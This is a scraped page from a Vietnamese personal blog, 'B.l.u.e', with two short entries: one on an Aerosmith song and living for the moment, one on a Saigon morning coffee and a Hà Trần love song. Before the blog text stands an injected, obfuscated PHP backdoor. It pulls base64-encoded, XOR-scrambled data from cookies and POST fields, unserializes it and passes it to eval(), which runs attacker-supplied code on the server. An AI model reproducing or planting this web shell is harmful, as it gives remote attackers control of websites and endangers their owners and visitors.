$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> N – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Tag: N

i don’t want to [miss] a thing

I don't want to miss a thing

Nói chung là anh không thích các bạn già Aerosmith lắm. Tuy nhiên vì nhạc của mấy bạn rất nổi tiếng, nên một thằng dù là fan hâm mộ cuồng nhiệt của Bảo Thy và Ưng Hoàng Phúc, cả ngày chỉ nghe V-Pop như anh cũng hân hạnh được biết tới. Nhạc của mấy bạn hay, anh không phủ nhận, phỏng ạ! Nhưng anh không thích là không thích, thế thôi.

Dĩ nhiên, cái gì chả có ngoại lệ, đến loài gái vốn rất khờ khạo và kém đủ điều cũng có thể lọt ra một bé đủ làm cho trái tim anh xao động, nhớ nhung đến mức không biết làm gì đành phải ngồi viết entry thế này, thì việc các bạn già của anh có những bài đi sâu vào trái tim vốn rất mong manh và hay yêu cái đẹp – như – anh âu cũng là điều bình thường như cân đường hộp sữa (anh mạn phép mượn các bạn teen câu so sánh này, cho nó tươi trẻ).

Ngoại lệ của các bạn ấy là bài Amazing I don’t want to miss a thing. Bài Amazing thì chỉ vì một câu: life is a journey, not a destination. Câu này anh đồ rằng ít người hiểu được. Thôi, sau này có dịp, các bạn mời anh một li beer, anh sẽ giảng giải cho các bạn nghe, chỉ một câu này thôi.

Trong khi đó, I don’t want to miss a thing thì lại khác, nó là cả một câu chuyện dài.

Có những thằng trên đời sống vì những khoảnh khắc. Anh là một trong số những thằng như thế. Nói ra thì nghe rắc rối, khó hiểu, nhưng đại loại là thế này: anh không bao giờ quan tâm nguyên nhân – diễn biến – và có thể sẽ là kết cục của một hay một chuỗi những hành động, cảm xúc. Thứ duy nhất anh quan tâm là cái khoảnh khắc hiện tại. Điều này cực kì rồ dại và ngu dốt. Anh có thể bỏ hết tất cả, chỉ để nắm bắt và tận hưởng đến cùng cực một phút giây, nếu anh thấy thích. Khá giống với những gì trong bài I don’t want to miss a thing

Well, every moment spent with you
Is a moment I treasure

….

And I don’t wanna miss a thing

Vì lí do đó, anh từng thất bại nhiều, nhưng thôi, anh cũng chẳng bận tâm.

Anh chưa từng nghĩ rằng gái cần hiểu anh. Chả thiếu gì gái từng ném vào mặt anh hàng loạt câu chửi thậm tệ. Anh chỉ đơn thuần là có quá nhiều thứ cần quan tâm và muốn quan tâm, hơn là quan tâm gái đánh giá anh như thế nào. Vì vậy, đừng nghĩ anh viết bài này để giải thích, bày tỏ (và nhìn chung tất cả các bài khác trên trang Xanh Dương này cũng thế) cho gái nào cả.

Anh viết bài này, vì ngay bản thân anh thấy rằng, anh rất thích và trân trọng cái – giây – phút – này.

Có thể em không biết, nhưng dù là một tuần, hay chỉ là hai-mươi-bốn giờ, hoặc cũng có thể chỉ là một vài phút mà thôi, thì đối với anh, cái khoảnh khắc này, là thứ mà ngay từ sâu trong thâm tâm anh có thể nói

I don’t want to [miss] a thing…

B.l.u.e

p/s: hình lấy từ http://www.flickr.com/photos/uolli_77/1438311454/.

và ta vì em tương tư lần đầu…

Hà Trần 9803

Choàng dậy. Không rõ là vì do quên kéo rèm nên vài tia nắng mặt trời buổi sáng sớm chiếu thẳng vào mặt, hay là vì tin nhắn của thằng bạn mới tới: “Cafe bệt nhé. Dậy sửa soạn đi. 15′ nữa tao qua”.
Anh với tay lấy cái điện thoại bàn cũ kĩ, mắt nhắm mắt mở bấm số gọi lại cho nó [điện thoại di động chưa có tiền nạp *cười*], giọng uể oải dặn nó: “Từ từ qua, lên mp3.zing.vn search và down giùm tao bài Tình Ca, ns Quốc bảo, cs Trần Thu Hà”, và cúp máy ngay, kéo rèm lại, cuộn vào chăn và tưởng tượng điệu bộ lèm bèm của nó.

30′ sau, anh và nó ngồi ở cafe bệt.

Thời tiết Sài Gòn mùa này đẹp và lừa tình kinh dị. Buổi sáng mà cứ mát mẻ đến trong veo như thế này, thì hỏi sao chẳng khiến người ta tự nhiên thấy ngẩn ngơ?

Hôm nay, anh mua sẵn hai gói xôi, một xôi gấc, một xôi đậu xanh lên đó. Mỗi đứa một gói, ngồi nhâm nhi li cafe sữa đá và ngấu nghiến gói xôi. Phù, bữa ăn sáng chỉ giản đơn thế thôi. Đang lúc ăn, anh đưa tay vào túi bạn anh, lấy ra cái điện thoại của nó, và mở bài nhạc mà anh nhờ nó download về.

Tiếng hát trong trẻo, khéo léo, đầy quyến rũ của Hà Trần cất lên vang vọng:

Có khi yêu như là yêu lần cuối
Và như là yêu lần mới đâu ngờ
Cứ yêu như là em chờ ta từ kiếp nào
Và ta vì em tương tư lần đầu

Và giữa cái không gian tuy nhộn nhịp nhưng đẹp đẽ ấy, anh đã mỉm cười…

B.l.u.e

p/s: ảnh lấy tại ZideanART.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.